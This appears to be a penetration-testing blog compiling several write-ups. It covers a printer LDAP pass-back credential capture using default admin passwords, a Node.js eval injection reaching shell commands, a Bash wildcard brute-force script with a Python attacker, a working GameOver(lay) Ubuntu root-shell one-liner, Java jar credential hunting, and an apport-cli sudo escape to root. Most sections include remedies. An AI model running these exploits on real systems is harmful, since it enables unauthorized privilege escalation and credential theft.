[Active Directory] Printer Passback attack

I got this article from (https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack)

What is an MFP and MFP Hacking anyway?

Multi-Function Peripherals (MFPs) are an underutilized target in the realm of pen testing. When compared against other high-value targets, MFP hacking appears to be the low man on the totem pole. Penetration testers frequently attack other targets like web applications, file servers, and domain controllers. Too often, the thought is: Why waste your time on printers when you can attack things like systems potentially resulting in:

  • Credential Disclosure
  • File System Access
  • Memory Access

However, as illustrated by a recent and surprisingly interesting printer penetration test engagement, it turns out that a successful MFP breach can result in discovering all of the above findings, plus more. The best part is that MFP security and maintenance is often forgotten, potentially resulting in a quick win for someone looking to gain entry or escalate their privileges in a compromised network.

MFPs are the clunky pile of plastic typically located in your corporate closet. They’re equipped with network ports, USB drives, and an iPad looking control panel with its own set of specialized applications. These intelligent devices are capable of much more than the standard copy, print, and fax. Don’t forget the occasional paper jam too.

These industrial ink bleeders are loaded with plenty of functionality, like the ability to integrate with the corporate network to allow for convenient scan/email. This functionality necessitates:

  • Lightweight Directory Access Protocols (LDAP) integration
  • Simple Mail Transfer Protocol (SMTP) integration
  • Network Shares

What kind of information is at risk with an MFP? How can you, as a penetration tester, successfully hack into an MFP?

Did You Say LDAP?

MFP-LDAP integration can be a control mechanism to prevent unauthorized users from printing, copying, scanning, etc. It can also be used for email address lookups when leveraging the scan/copy to email functionality, as well as giving authenticated users access to their home folder located on the network.

Most MFP vendors (HP, Xerox, Ricoh, Canon, etc.) have their version of an LDAP implementation for their specific MFP, but they are generally the same concept. If you input a few attributes here, an IP address there, add a username/password, then you sit back and watch the “magic” happen.

Why MFP Hacking Matters

For the MFP to conduct queries on the LDAP server, the MFP must be configured with the appropriate credentials to access the LDAP server, or set with the ability to pass user credentials to the LDAP server. These credentials should be stored somewhere on the MFP and, if we can capture these credentials, then we may have an entryway into the network, and possibly more.

Introducing the Pass-Back Attack

The stored LDAP credentials are usually located on the network settings tab in the online configuration of the MFP and can typically be accessed via the Embedded Web Service (EWS). If you can reach the EWS and modify the LDAP server field by replacing the legitimate LDAP server with your malicious LDAP server, then the next time an LDAP query is conducted from the MFP, it will attempt to authenticate to your LDAP server using the configured credentials or the user-supplied credentials.

Accessing the EWS

Most MFPs ship with a set of default administrative credentials to access the EWS. These credentials are usually located in the Administrator Guide of the MFP in question and are a good place to start for initial access:

VendorUsernamePasswordRicohadminblankHPadminadmin or blankCanonADMINcanonEpsonEPSONWEBadmin

Another way to potentially access the EWS is through the Printer Exploitation Toolkit (PRET) and Praeda. Both tools are capable of Information Disclosure and Code Execution. If you are looking to utilize the tools for the first time, here are a few resources to help you get started:

Replace LDAP Attributes

Once you are authenticated to the EWS, locate the LDAP settings. During our test on an HP Color LaserJet MFP M477fdn, these settings were in the access control portion of the networking tab.

Next, we removed the existing LDAP Server Address, 192.168.1.100, and replaced it with our IP Address. Next, we saved the settings. Then, we created a Netcat listener on port 389, which was the existing port in the LDAP settings of the MFP.

Capture Credentials

The configuration of this MFP requires users to authenticate before using the available resources like the scan-to-email ability. The next time an unsuspecting user inputs their credentials at the control panel, the MFP will send their information to the LDAP server under our control.

  • nc -L -l 389

If the MFP supports and is configured to store LDAP credentials for email lookup (the model we tested did not), then these credentials can also be passed back to the LDAP server under our control.

Attacking SMTP and Windows Sign-in

This attack can also be conducted against other settings on the MFP that support authentication. Like LDAP, the Windows sign-in can be an alternative method to control access to the MFP resources. We substitute the existing domain with our own domain, and the next time a domain user signs in at the control panel, the credentials are sent to our domain controller.

Conducting attacks on the SMTP configuration can also produce fruitful results. The existing SMTP configuration for this MFP has stored credentials for SMTP authentication that can be passed back to us, after replacing the existing SMTP server with our own SMTP server.

Big Payout with Low Risk

MFPs do not get the attention they deserve when it comes to security. They are usually physically accessible, poorly managed, and shipped with default credentials. All of this, coupled with their payout potential, should make them a prime target for your next engagement.

Exploiting JavaScript EVAL() Code Injection

The eval function in JavaScript is a powerful but potentially dangerous feature. Its primary purpose is to execute arbitrary JavaScript code represented as a string.

There are four standard ways to evaluate strings in JavaScript:

  • eval(“code”)
  • new Function(“code”)
  • setTimeout(“code”, timeout)
  • setInterval(“code”, interval)

Example

1. This is a calculator application that prints the mathematical results on screen

2. Since, I had access to the source code I found this piece of code that demonstrated how the eval() function is in use

// Exporting an object with a method named 'calculate'
module.exports = {
    calculate(formula) { // Try block to handle potential errors during execution
        try {
// Using eval to execute a dynamically created function
// The function is created using a template literal, incorporating the 'formula' parameter
// The closing parentheses () immediately follows the function body, invoking the function. This pattern is known as an Immediately Invoked Function Expression (IIFE).
            return eval(`(function() { return ${ formula } ;}())`);
        
// Catch block to handle potential errors, specifically SyntaxError
        } catch (e) {
// Checking if the caught error is an instance of SyntaxError
            if (e instanceof SyntaxError) {
// Returning an error message if a SyntaxError occurs
                return 'Something went wrong!';
            }
        }
    }
}

Exploitation

1. First we need to understand how the application works

2. We try to make it crash

3. We can try to use some JavaScript functions and see if they get executed since this script doesn’t have sanitization we don’t need to worry about

  • process.platform
  • process.cwd()

4. Now we know we can execute commands we can try a more sophisticated command

  • require(‘child_process’).execSync(‘ls -l’).toString()

require(‘child_process’):

  • This part of the code imports the child_process module in Node.js. The child_process module provides functionality to spawn child processes, allowing you to execute external commands.

.execSync(‘ls -l’):

  • The execSync function is a synchronous method in the child_process module. It is used to execute shell commands synchronously, meaning the code will block until the command completes. In this case, it runs the ls -l command, which lists the contents of the current directory in long format.

.toString():

  • The result of execSync is a Buffer object containing the output of the command. The .toString() method is then used to convert the Buffer object into a string. This is necessary if you want to work with the command output as a string in your Node.js code.

Recommendations

Avoid eval Completely:

  • The safest approach is to avoid using eval altogether unless absolutely necessary. Most use cases for eval can be replaced with safer alternatives.

Use JSON.parse or Other Specific Functions:

  • If you need to parse JSON data, use JSON.parse instead of eval. JSON.parse is safer and only evaluates valid JSON data, reducing the risk of code injection.

Function Constructors:

  • If dynamic code execution is required, consider using the Function constructor. This is generally safer than eval because it creates a new function scope.

Validate and Sanitize User Inputs:

  • If you must use dynamically generated code, thoroughly validate and sanitize user inputs before incorporating them into the code. Ensure that the input adheres to expected patterns and does not contain malicious content.

Code Review and Static Analysis:

  • Regularly review code for potential security vulnerabilities, including the use of eval. Utilize static analysis tools to identify insecure patterns in your codebase.

[Privilege Escalation] Unquoted Expression Injection Bash

In Bash scripting, when you are working with variables, it’s important to understand how the shell treats quoted and unquoted variables, especially when it comes to comparisons.

Word splitting is a process where the shell breaks up a string into separate words based on specific delimiters. The default word delimiters are whitespace characters (spaces and tabs), but you can customize them using the IFS (Internal Field Separator) variable.

Word splitting is a feature designed to tokenize input into separate entities, and it is generally useful for normal shell operations. However, when it comes to unquoted variables, word splitting can introduce vulnerabilities, especially when dealing with spaces or other special characters in the variable’s value.

An unquoted variable is to be treated as an armed bomb: It explodes upon contact with whitespace and wildcards. Yes, “explode” as in splitting a string into an array. Specifically, variable expansions, like $var, and also command substitutions, like $(cmd), undergo word splitting, whereby the string is split on any of the characters in the special $IFS variable, which is whitespace by default. Furthermore, any wildcard characters (*?) in the resulting words are used to expand those words to match files on your filesystem (indirect pathname expansion). This is mostly invisible, because most of the time, the result is a 1-element array, which is indistinguishable from the original string value.

Security Vulnerability:

  • When dealing with untrusted input or variables that may contain arbitrary data, relying on unquoted variables and word splitting can introduce security vulnerabilities.
  • An attacker might manipulate input to inject unexpected values, potentially leading to unintended consequences or security breaches

Variable expansion:

  • Good: “$my_var”
  • Bad: $my_var

Command substitution:

  • Good: “$(cmd)”
  • Bad: $(cmd)

Should I use backticks?

Command substitutions also come in this form:

  • Correct: “`cmd`”
  • Bad: `cmd`

Quoted Variables:

When you enclose a variable in double quotes (” “), it preserves the entire value of the variable, including spaces and special characters.

var="hello world"
echo "$var"

Unquoted Variables:

When you don’t quote a variable, the shell performs word splitting and filename expansion (globbing) on its value.

Word splitting breaks the variable’s value into words (typically separated by spaces).

var="hello world"

echo $var

Output:

Token: hello
Token: world

Example

1. In this example I will demonstrate how bash considers “$str1” & $str different

str1="hello world"
str2="hello world"

if [ "$str1" == $str2 ]; then
    echo "Strings are equal."
else
    echo "Strings are not equal."
fi

2. In this script we compare 2 strings that are identical but within the if conditional statement we compare “$str1” and str2

3. On the other if I use quotes in the 2 variables “$str1” and “$str2”

Exceptions

There are exceptions where quoting is not necessary, but because it never hurts to quote, and the general rule is to be scared when you see an unquoted variable, pursuing the non-obvious exceptions is, for the sake of your readers, questionable. It looks wrong, and the wrong practice is common enough to raise suspicion: Enough scripts are being written with broken handling of filenames that whitespace in filenames is often avoided…

The exceptions only matter in discussions of style – feel welcome to ignore them. For the sake of style neutrality, Shellharden does honor a few exceptions:

  • variables of invariably numeric content: $?, $$, $!, $# and array length ${#array[@]}
  • assignments: a=$b
  • the magical case command: case $var in … esac
  • the magical context between double-brackets ([[ and ]]) – this is a language of its own.

Scenario

1, In this scenario we have a bash script named (script.sh) that reads a text file that includes a password, and asks user for input, if the word matches the one in the file it will print confirmed!, otherwise it will print incorrect.

#!/bin/bash
# Read the content of the file "secret.txt" and store it in the variable "value1" 
value1=$(/usr/bin/cat secret.txt)

# Print a prompt for the user to enter a word 
echo "Enter a word!"
read input1

# Compare the content of "secret.txt" with the user input 
if [[ $value1 == $input1 ]]; then
    echo "Confirmed!"
else
    echo "Incorrect"
fi

2. I built a python script (attack.py) to guess the password in the file. This script runs the bash script, tests characters follow by a wildcard (*), If it matches it prints the letter, then continues with the next letter until we receive Confirmed

#!/usr/share/python

import string
import subprocess
# Generate a list of all ASCII letters and digits
all1 = list(string.ascii_letters + string.digits)
# Initialize variables
password = ""
found = False

# Print the list of characters being tested
print(all1)

# Continue the loop until the password is found
while not found:
# Iterate through each character in the list
    for char in all1:
# Construct a command to execute a script with a guessed password
        command = f"echo '{password}{char}*' | bash script.sh"
# Run the command and capture the output
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
# Check if the output contains the word "Confirmed"
        if "Confirmed" in output:
# If confirmed, update the password and print it
            password += char
            print(password)
            break
    else:
# If the loop completes without finding the correct password, set found to True
        found = True

3. Run the script and see the output how and the password deciphered

  • python attack.py

Note: The password is P4ssWorDVry4n

Recommendations

  • Ensure that the file containing sensitive information, like passwords, has restrictive permissions.
  • Whenever possible, avoid storing passwords in plaintext. Consider using secure methods like password hashing.
  • Instead of reading from a file, you might consider storing sensitive information in environment variables, which can be set at runtime and are less prone to being accidentally logged.
  • If you need to store sensitive information in a file, consider encrypting the file.

Sources

https://github.com/anordal/shellharden/blob/master/how_to_do_things_safely_in_bash.md?source=post_page—–933488bfbfff——————————–

https://unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells

https://www.appsloveworld.com/bash/100/28/unquoted-expression-injection-bash

https://copyprogramming.com/howto/why-do-options-in-a-quoted-variable-fail-but-work-when-unquoted#google_vignette

(CVE-2023-32629 & CVE-2023-2640)[Privilege Escalation] GameOver(lay) Ubuntu Privilege Escalation

Ubuntu could allow a local authenticated attacker to gain elevated privileges on the system, caused by skipping permission checking for trusted.overlayfs.* xattrs”. By sending a specially crafted request, an attacker could exploit this vulnerability to escalate privileges.

CVE-2023-2640

https://www.cvedetails.com/cve/CVE-2023-2640/

  • On Ubuntu kernels carrying both c914c0e27eb0 and “UBUNTU: SAUCE: overlayfs: Skip permission checking for trusted.overlayfs.* xattrs”, an unprivileged user may set privileged extended attributes on the mounted files, leading them to be set on the upper files without the appropriate security checks.

CVE-2023-32629

https://www.cvedetails.com/cve/CVE-2023-32629/

  • Local privilege escalation vulnerability in Ubuntu Kernels overlayfs ovl_copy_up_meta_inode_data skip permission checks when calling ovl_do_setxattr on Ubuntu kernels.

Vulnerable kernels

6.2.0 Ubuntu 23.04 (Lunar Lobster) / Ubuntu 22.04 LTS (Jammy Jellyfish)

5.19.0 Ubuntu 22.10 (Kinetic Kudu) / Ubuntu 22.04 LTS (Jammy Jellyfish)

5.4.0 Ubuntu 22.04 LTS (Local Fossa) / Ubuntu 18.04 LTS (Bionic Beaver)

Identification

1. Verify the OS version

  • lsb_release -a

2. Verify the kernel version

  • uname -r
  • uname -a
  • cat /proc/version

Exploitation

1. Knowing this is a vulnerable version of Ubuntu (6.2.0), we can proceed to run the following command to become root

  • unshare -rm sh -c “mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;” && u/python3 -c ‘import os;import pty;os.setuid(0);pty.spawn(“/bin/bash”)’

2. After running this command you should become root

Breakdown

  • unshare -rm sh -c: This command creates a new namespace (-m), and then runs a shell (sh) in this new namespace. The -r option makes the process run in a separate user namespace.
  • “mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;”: This is the command that is executed in the new namespace. It does the following:
    • mkdir l u w m: Creates four directories – l, u, w, and m.
    • cp /u*/b*/p*3 l/: Copies files matching the pattern /u*/b*/p*3 to the directory l/.
    • setcap cap_setuid+eip l/python3: Sets the cap_setuid capability and eip flag on the python3 binary in the l/ directory.
    • mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m: Mounts an overlay filesystem using the directories l, u, and w. The overlay filesystem allows combining multiple directories into one.
    • touch m/*: Creates empty files in the m/ directory.
    • &&: This is a logical AND operator, which means the next command will be executed only if the previous one succeeds.
    • u/python3 -c ‘import os; import pty; os.setuid(0); pty.spawn(“/bin/bash”)’: This command is executed if the previous part is successful. It uses the python3 interpreter located in the directory u/ to execute a Python script. The Python script imports the os and pty modules, sets the user ID to 0 (root), and spawns a new interactive bash shell using pty.spawn(“/bin/bash”).

Remedy

The problem can be corrected by updating your system to the following package versions:

Sources

https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629

https://www.cvedetails.com/cve/CVE-2023-2640/

https://www.cvedetails.com/cve/CVE-2023-32629/

https://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640—POC-Escalation

https://exchange.xforce.ibmcloud.com/vulnerabilities/261608

https://exchange.xforce.ibmcloud.com/vulnerabilities/261608

[Privilege Escalation] Java Jar file enumeration/Code Review

.jar file enumeration from processes in Linux involves identifying and extracting information about Java Archive (JAR) files that are currently running within a system’s processes. This process can be useful for various purposes, such as troubleshooting, security analysis, or understanding the dependencies of a running Java application.

Enumeration

1. Use tools like ps or pgrep to identify running Java processes. You can filter processes based on the Java executable or any related parameters.

  • ps aux | grep -i java

2. Once you identify the Java processes, extract more detailed information using tools like jcmd or jps (Java Process Status). For instance:

  • jcmd <PID> help
  • jcmd <PID> VM.system_properties

Note: files associated with the Java processes. This information can be extracted from the output of the previously used tools.

3. The lsof command can be helpful in listing open files, including JAR files opened by Java processes:

  • lsof -p <process-id> | grep “.jar”

4. The /proc filesystem in Linux provides a wealth of information about processes. You can navigate to /proc/<process-id>/ and examine files like cmdline, which contains the command-line arguments, and maps, which displays memory maps, potentially revealing loaded JAR files.

  • ls -l /proc/<process-id>/cwd
  • cat /proc/<process-id>/cmdline

5. Extract strings from the process memory to identify potential JAR file references:

  • strings /proc/<process-id>/mem | grep “.jar”

6. Java applications may log information about loaded JAR files. Check the application logs for any relevant details

Exploitation

1. Once you locate the jar file you can transfer it to your computer and examine the code using jd-gui

2. Click open file, locate the .jar, open it

3. Expand the tabs analyze the code and try to find flaws or any confidential data such as usernames & passwords

Note: In this case we found POSTGRESQL database username and password

(CVE-2023–1326)[Privilege Escalation] apport-cli 2.26.0

A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege. It is extremely unlikely that a system administrator would configure sudo to allow unprivileged users to perform this class of exploit.

This vulnerability only works if assign in sudoers

Identification

1. Verify that apport-cli is allowed to run with sudo privileges

  • sudo -l

2. Verify that the version is lower than 2.26.0

  • sudo /usr/bin/apport-cli -v

Exploitation

1. Execute apport-cli with parameter file bug (Select any option)

  • sudo /usr/bin/apport-cli –file-bug

2. Select any option

3. Press any key

4. Press V (View Report), this will open a less page as root

5. Now execute a shell, click enter

  • !/bin/bash

6. You’ll get a shell as root

Remedy

Upgrade the apport-cli version

Restrict the assignment to users

Sources

https://security.snyk.io/vuln/SNYK-UBUNTU2210-APPORT-5422155

https://nvd.nist.gov/vuln/detail/CVE-2023-1326

https://github.com/diego-tella/CVE-2023-1326-PoC